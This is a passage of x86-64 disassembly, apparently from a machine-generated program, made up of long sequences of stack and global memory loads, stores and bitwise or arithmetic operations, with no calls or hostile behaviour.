mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a38]
mov qword [rcx], rax
lea rax, [rsp + 0x1eb]
mov qword [0x1401cd958], rax
movsx eax, word [rsp + 0x14f0]
mov rcx, qword [rsp + 0x9ab0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xebc], ax
mov rax, qword [rsp + 0x99b0]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd7a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1df], al
lea rax, [rsp + 0x15ac]
mov qword [rsp + 0x9e70], rax
mov rax, qword [rsp + 0x9c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1528], ax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x8d40]
mov qword [rsp + 0x9e78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e78]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9660], rax
lea rax, [rsp + 0x4f70]
mov qword [rsp + 0x9e80], rax
mov rax, qword [rsp + 0x9168]
mov rcx, qword [rsp + 0x91b8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9288]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d00]
mov dword [rsp + 0x5030], eax
movzx eax, byte [rsp + 0x225]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x201], al
movzx eax, word [rsp + 0x1610]
mov rcx, qword [rsp + 0x9568]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc078], ax
mov rax, qword [0x1401cd8d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9be8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14e0], ax
lea rax, [rsp + 0x237]
mov qword [rsp + 0x9e88], rax
movzx eax, word [rsp + 0x1650]
movzx ecx, word [rsp + 0x1610]
sub eax, ecx
mov rcx, qword [rsp + 0x9870]
mov word [rcx], ax
lea rax, [rsp + 0x9c20]
mov qword [rsp + 0x9e90], rax
mov rax, qword [rsp + 0x9470]
mov ecx, dword [rsp + 0x4e50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9e80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9350]
mov rcx, qword [rsp + 0x87c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b90], rax
lea rax, [rsp + 0x5010]
mov qword [rsp + 0x9e98], rax
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x20a], al
movsx eax, word [rsp + 0x15cc]
mov rcx, qword [rsp + 0x9748]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cd714], ax
movzx eax, word [rsp + 0xeb0]
mov word [rsp + 0x16a0], ax
movsx eax, byte [rsp + 0x24d]
mov rcx, qword [rsp + 0x9138]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x240], al
movzx eax, word [rsp + 0x161c]
mov word [rsp + 0x16a4], ax
mov rax, qword [rsp + 0x9a50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5010]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e58], eax
mov rax, qword [rsp + 0x99c8]
mov rcx, qword [rsp + 0x8100]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9588]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e60]
mov dword [rsp + 0x5034], eax
mov rax, qword [rsp + 0x94b0]
movzx ecx, al
mov rax, qword [0x1401cc010]
shl rax, cl
mov rcx, qword [rsp + 0x95f8]
mov qword [rcx], rax
lea rax, [rsp + 0x224]
mov qword [rsp + 0x9ea0], rax
mov rax, qword [rsp + 0x9858]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9940]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401cc04a], al
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x1eb]
xor eax, ecx
mov rcx, qword [rsp + 0x9d78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1664]
sar eax, cl
mov word [rsp + 0x1570], ax
movzx eax, byte [rsp + 0x22e]
mov byte [rsp + 0x256], al
mov rax, qword [rsp + 0x98d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ea8]
mov dword [rsp + 0x5038], eax
mov rax, qword [rsp + 0x9990]
mov rcx, qword [rsp + 0x99a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f58], rax
mov rax, qword [rsp + 0x99e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5028], eax
lea rax, [rsp + 0x1600]
mov qword [rsp + 0x9ea8], rax
movsx eax, byte [rsp + 0xca]
mov rcx, qword [0x1401cd870]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [str.Qp2jCg_f_], al
movzx eax, word [rsp + 0x1668]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ed8]
mov word [rcx], ax
lea rax, [rsp + 0x1fb]
mov qword [rsp + 0x9eb0], rax
movzx eax, word [rsp + 0x1558]
movzx ecx, word [0x1401cc030]
add eax, ecx
mov word [rsp + 0x1584], ax
movsx eax, word [rsp + 0x14d0]
mov rcx, qword [rsp + 0x8f70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14f0], ax
lea rax, [rsp + 0x4e88]
mov qword [rsp + 0x9eb8], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9068]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c30]
mov qword [rcx], rax
lea rax, [rsp + 0x4f0c]
mov qword [rsp + 0x9ec0], rax
mov rax, qword [rsp + 0x97b0]
mov rcx, qword [rsp + 0x9bc0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f58], rax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x9670]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cd78e], al
lea rax, [rsp + 0x1598]
mov qword [rsp + 0x9ec8], rax
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f4]
xor eax, ecx
mov byte [rsp + 0x107], al
movzx eax, word [rsp + 0x15b4]
movzx ecx, word [rsp + 0x151c]
shl eax, cl
mov rcx, qword [rsp + 0x9bc8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x22d]
mov byte [rsp + 0x257], al
mov eax, dword [rsp + 0x4f38]
mov rcx, qword [rsp + 0x8f18]
mov qword [rsp + 0x9ed0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ed0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x94c8]
mov dword [rcx], eax
mov rax, qword [0x1401cc020]
mov qword [rsp + 0x9ed8], rax
mov rax, qword [rsp + 0x8e00]
mov rcx, qword [rsp + 0x9b50]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x98c8], rax
mov rax, qword [rsp + 0x9158]
mov rcx, qword [rsp + 0x9798]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5014], eax
movsx eax, word [rsp + 0x14c8]
imul eax, eax, 0x351c
mov word [0x1401cc0ac], ax
lea rax, [rsp + 0x1180]
mov qword [rsp + 0x9ee0], rax
mov rax, qword [rsp + 0x9ad8]
movsx eax, word [rax]
mov rcx, qword [0x1401cd7a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9bd8]
mov word [rcx], ax
lea rax, [rsp + 0x231]
mov qword [rsp + 0x9ee8], rax
mov rax, qword [rsp + 0x90e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x201], al
mov rax, qword [rsp + 0x9638]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9840]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4fbc]
mov ecx, dword [rsp + 0x4e8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a7c], eax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f88], eax
mov rax, qword [rsp + 0x9d88]
mov qword [rsp + 0x9ef0], rax
mov rax, qword [rsp + 0x9058]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9998]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd7db], al
movsx eax, byte [rsp + 0x23c]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9620]
mov byte [rcx], al
mov rax, qword [0x1401cd900]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ca0]
mov byte [rcx], al
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0x9ef8], rax
movzx eax, word [rsp + 0x1530]
movzx ecx, word [rsp + 0x1688]
or eax, ecx
mov word [rsp + 0x15e4], ax
lea rax, [rsp + 0x4ff8]
mov qword [rsp + 0x9f00], rax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9e58]
sar rax, cl
mov qword [rsp + 0x9e68], rax
lea rax, [rsp + 0x97b0]
mov qword [rsp + 0x9f08], rax
mov rax, qword [rsp + 0x96f0]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x99e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov word [0x1401cd960], ax
mov rax, qword [rsp + 0x9ec8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15e4], ax
mov rax, qword [rsp + 0x8fa8]
movzx eax, byte [rax]
mov byte [rsp + 0x258], al
mov rax, qword [rsp + 0x9848]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9608]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x9488]
movzx eax, word [rax]
mov word [rsp + 0x16a8], ax
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x9898]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9888], rax
mov rax, qword [rsp + 0x9968]
mov eax, dword [rax]
mov dword [rsp + 0x503c], eax
mov rax, qword [rsp + 0x9720]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f1c], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1580]
add eax, ecx
mov word [0x1401cc0a4], ax
movzx eax, byte [rsp + 0x23d]
mov byte [rsp + 0x259], al
movsx eax, byte [rsp + 0x1e7]
mov rcx, qword [rsp + 0x9858]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x20b], al
movzx eax, word [rsp + 0x157c]
movzx ecx, word [rsp + 0x15c8]
sub eax, ecx
mov rcx, qword [rsp + 0x9448]
mov word [rcx], ax
movzx eax, word [rsp + 0x15f4]
mov word [rsp + 0x16ac], ax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x9b38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9090], rax
lea rax, [rsp + 0x88e8]
mov qword [rsp + 0x9f10], rax
mov rax, qword [rsp + 0x9060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5030]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9860]
mov dword [rcx], eax
lea rax, [0x1401cd720]
mov qword [rsp + 0x9f18], rax
mov rax, qword [rsp + 0x9608]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
and eax, ecx
mov rcx, qword [0x1401cd958]
mov byte [rcx], al
movsx eax, byte [rsp + 0x23b]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x254], al
movzx eax, byte [0x1401cc03e]
movzx ecx, byte [rsp + 0x21c]
xor eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x24f]
mov byte [rsp + 0x25a], al
mov rax, qword [rsp + 0x9c10]
movsx eax, word [rax]
movsx ecx, word [0x1401cd950]
shl eax, cl
mov word [rsp + 0x1568], ax
mov eax, dword [rsp + 0x5034]
mov dword [rsp + 0x5040], eax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x9d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9370]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f80]
mov ecx, dword [rsp + 0x4fb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e18]
mov rcx, qword [rsp + 0x8100]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7fb8], rax
lea rax, [rsp + 0x204]
mov qword [0x1401cd968], rax
mov rax, qword [rsp + 0x9ec8]
movzx eax, word [rax]
movzx ecx, word [0x1401cd830]
and eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov word [rcx], ax
lea rax, [rsp + 0x1684]
mov qword [rsp + 0x9f20], rax
mov rax, qword [rsp + 0x9cd8]
movsx eax, word [rax]
imul eax, eax, 0x65db
mov rcx, qword [rsp + 0x9950]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd6]
mov rcx, qword [0x1401cd7c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f1], al
mov rax, qword [rsp + 0x90d8]
mov rax, qword [rax]
mov qword [rsp + 0x9f28], rax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x9f08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x94e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e80]
mov eax, dword [rax]
mov dword [rsp + 0x5044], eax
mov rax, qword [rsp + 0x9b78]
mov ecx, dword [rsp + 0x4f00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f4c], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15b0]
add eax, ecx
mov word [rsp + 0x1688], ax
mov rax, qword [0x1401cd890]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ac8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc04e], al
lea rax, [rsp + 0x1e9]
mov qword [rsp + 0x9f30], rax
movsx eax, word [rsp + 0x169c]
movsx ecx, word [rsp + 0x14d8]
sub eax, ecx
mov word [rsp + 0x1464], ax
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
mov byte [rsp + 0x25b], al
mov rax, qword [rsp + 0x90b0]
mov rcx, qword [rsp + 0x9ce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9660]
mov qword [rsp + 0x9f38], rax
mov rax, qword [rsp + 0x8c58]
mov rcx, qword [rsp + 0x9290]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ee0], eax
mov rax, qword [rsp + 0x8600]
movzx ecx, al
mov rax, qword [rsp + 0x94b0]
shl rax, cl
mov rcx, qword [rsp + 0x9288]
mov qword [rcx], rax
lea rax, [rsp + 0x233]
mov qword [rsp + 0x9f40], rax
movzx eax, word [rsp + 0x1694]
movzx ecx, word [rsp + 0x1670]
sar eax, cl
mov word [0x1401cd8d0], ax
movzx eax, word [rsp + 0x1668]
movzx ecx, word [rsp + 0x1688]
or eax, ecx
mov word [rsp + 0x1590], ax
lea rax, [rsp + 0x22b]
mov qword [rsp + 0x9f48], rax
movsx eax, word [0x1401cd960]
movsx ecx, word [rsp + 0xeb0]
xor eax, ecx
mov word [rsp + 0x1514], ax
mov rax, qword [rsp + 0x9d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a50]
mov dword [rcx], eax
lea rax, [rsp + 0x4ed4]
mov qword [rsp + 0x9f50], rax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x9a28]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x99a0]
mov rax, qword [rax]
mov qword [rsp + 0x9f58], rax
movzx eax, byte [rsp + 0x248]
movzx ecx, byte [rsp + 0x245]
add eax, ecx
mov rcx, qword [rsp + 0x9aa8]
mov byte [rcx], al
mov rax, qword [0x1401cd7c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9398]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401cd8e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20e]
add eax, ecx
mov byte [rsp + 0x19b], al
lea rax, [0x1401cc03a]
mov qword [rsp + 0x9f60], rax
movsx eax, word [rsp + 0x1628]
movsx ecx, word [rsp + 0x1164]
sub eax, ecx
mov word [rsp + 0x152c], ax
lea rax, [rsp + 0x9c80]
mov qword [rsp + 0x9f68], rax
mov rax, qword [rsp + 0x9060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f28]
mov qword [rsp + 0x9f70], rax
mov rax, qword [rsp + 0x9988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e8c], eax
movzx eax, word [rsp + 0x1624]
mov rcx, qword [0x1401cd800]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15c0], ax
lea rax, [rsp + 0x237]
mov qword [0x1401cd970], rax
movzx eax, word [rsp + 0xeb0]
mov word [rsp + 0x16b0], ax
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [rsp + 0x1614]
xor eax, ecx
mov word [rsp + 0x14d8], ax
movzx eax, byte [0x1401cc032]
mov byte [rsp + 0x25c], al
mov rax, qword [rsp + 0x8f80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x91a8]
shl rax, cl
mov qword [rsp + 0x9ed8], rax
mov rax, qword [rsp + 0x9dc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401cd710]
sar eax, cl
mov dword [rsp + 0x4b94], eax
mov eax, dword [rsp + 0x4840]
mov ecx, dword [rsp + 0x4cd4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5028], eax
lea rax, [0x1401cc010]
mov qword [rsp + 0x9f78], rax
mov rax, qword [rsp + 0x9e10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9878]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc037], al
movsx eax, word [rsp + 0x15d8]
mov rcx, qword [rsp + 0x9550]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a90]
mov word [rcx], ax
mov rax, qword [0x1401cd738]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x147c]
sub eax, ecx
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
mov word [rsp + 0x16b4], ax
movzx eax, byte [rsp + 0x201]
mov rcx, qword [rsp + 0x9358]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f80]
mov byte [rcx], al
mov rax, qword [rsp + 0x9dd0]
mov rax, qword [rax]
mov qword [rsp + 0x9f80], rax
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x5038]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x93c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f50]
mov ecx, dword [rsp + 0x4edc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ff4], eax
lea rax, [rsp + 0x9770]
mov qword [rsp + 0x9f88], rax
lea rax, [rsp + 0x1f6]
mov qword [0x1401cd978], rax
movsx eax, byte [rsp + 0x1e4]
movsx ecx, byte [rsp + 0x166]
add eax, ecx
mov rcx, qword [rsp + 0x9c08]
mov byte [rcx], al
movzx eax, word [0x1401cc07c]
mov word [rsp + 0x16b8], ax
movzx eax, byte [rsp + 0x1e9]
mov rcx, qword [rsp + 0x9848]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25c], al
mov rax, qword [rsp + 0x9250]
movzx eax, word [rax]
mov word [rsp + 0x16bc], ax
mov rax, qword [rsp + 0x9440]
mov ecx, dword [rsp + 0x4f1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f54], eax
mov rax, qword [rsp + 0x93c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4da0]
shl eax, cl
mov dword [rsp + 0x5038], eax
mov rax, qword [rsp + 0x9f68]
mov rax, qword [rax]
mov qword [rsp + 0x9f90], rax
mov rax, qword [rsp + 0x9de8]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9b60]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1694]
movzx ecx, word [rsp + 0x164c]
or eax, ecx
mov word [0x1401cc0b0], ax
movzx eax, word [rsp + 0x1620]
mov word [rsp + 0x16c0], ax
mov rax, qword [rsp + 0x94e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x9af8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fb]
and eax, ecx
mov byte [rsp + 0x21e], al
mov rax, qword [rsp + 0x91c0]
movzx eax, word [rax]
mov word [rsp + 0x16c4], ax
mov rax, qword [rsp + 0x9830]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9580]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94a0], rax
mov rax, qword [rsp + 0x8f78]
mov eax, dword [rax]
mov dword [rsp + 0x5048], eax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b40], rax
mov eax, dword [rsp + 0x5000]
mov ecx, dword [rsp + 0x4f00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a70]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x20b]
movsx ecx, byte [rsp + 0x25b]
sub eax, ecx
mov byte [str.Qp2jCg_f_], al
mov rax, qword [rsp + 0x9a18]
movzx eax, word [rax]
movzx ecx, word [0x1401cc094]
add eax, ecx
mov word [rsp + 0xf18], ax
movzx eax, byte [rsp + 0x1ed]
mov rcx, qword [rsp + 0x99d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9af8]
mov byte [rcx], al
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0x9f98], rax
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x244]
add eax, ecx
mov byte [rsp + 0x221], al
mov rax, qword [rsp + 0x90e8]
mov ecx, dword [rsp + 0x4928]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9278]
mov dword [rcx], eax
lea rax, [rsp + 0x96c0]
mov qword [rsp + 0x9fa0], rax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c08], rax
lea rax, [rsp + 0x4ebc]
mov qword [rsp + 0x9fa8], rax
lea rax, [rsp + 0x1608]
mov qword [0x1401cd980], rax
movzx eax, word [rsp + 0x15a0]
movzx ecx, word [0x1401cc018]
or eax, ecx
mov rcx, qword [rsp + 0x94a8]
mov word [rcx], ax
lea rax, [rsp + 0x246]
mov qword [rsp + 0x9fb0], rax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20d]
sar eax, cl
mov byte [rsp + 0x252], al
movsx eax, byte [rsp + 0x20c]
movsx ecx, byte [0x1401cd78a]
shl eax, cl
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0x9680]
mov qword [rsp + 0x9fb8], rax
mov rax, qword [rsp + 0x9d40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
lea rax, [rsp + 0x503c]
mov qword [rsp + 0x9fc0], rax
mov rax, qword [rsp + 0x99b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dd8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ef0], eax
movsx eax, word [rsp + 0x14d8]
mov rcx, qword [rsp + 0x9980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc044], ax
mov rax, qword [0x1401cd718]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9208]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x90e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1508]
mov word [rsp + 0x16c8], ax
mov rax, qword [rsp + 0x9e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x213], al
lea rax, [0x1401cc098]
mov qword [rsp + 0x9fc8], rax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x9dc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9308]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dd8], eax
mov eax, dword [rsp + 0x4ca4]
mov dword [rsp + 0x504c], eax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x9f70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9908]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1524]
mov word [0x1401cd988], ax
movzx eax, word [rsp + 0x14e8]
mov word [rsp + 0x16cc], ax
movsx eax, byte [0x1401cc03a]
mov rcx, qword [rsp + 0x9df8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x24c], al
mov rax, qword [rsp + 0x9f30]
movzx eax, byte [rax]
mov byte [rsp + 0x25d], al
mov rax, qword [rsp + 0x9938]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15d4], ax
mov rax, qword [rsp + 0x9eb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401cd720]
shr eax, cl
mov dword [rsp + 0x4f8c], eax
mov rax, qword [rsp + 0x9c30]
mov rax, qword [rax]
mov qword [rsp + 0x9fd0], rax
mov rax, qword [rsp + 0x8be8]
mov rcx, qword [rsp + 0x9f10]
mov qword [rsp + 0x9fd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9fd8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x97c0]
mov qword [rcx], rax
lea rax, [rsp + 0x504c]
mov qword [rsp + 0x9fe0], rax
mov rax, qword [rsp + 0x96a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9218]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x203], al
mov rax, qword [rsp + 0x9358]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd78e]
or eax, ecx
mov rcx, qword [0x1401cd898]
mov byte [rcx], al
mov rax, qword [rsp + 0x9748]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9dd8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1660], ax
movzx eax, word [rsp + 0x1508]
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9f98]
movsx eax, word [rax]
mov rcx, qword [0x1401cd8e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x162c], ax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov qword [rsp + 0x9fe8], rax
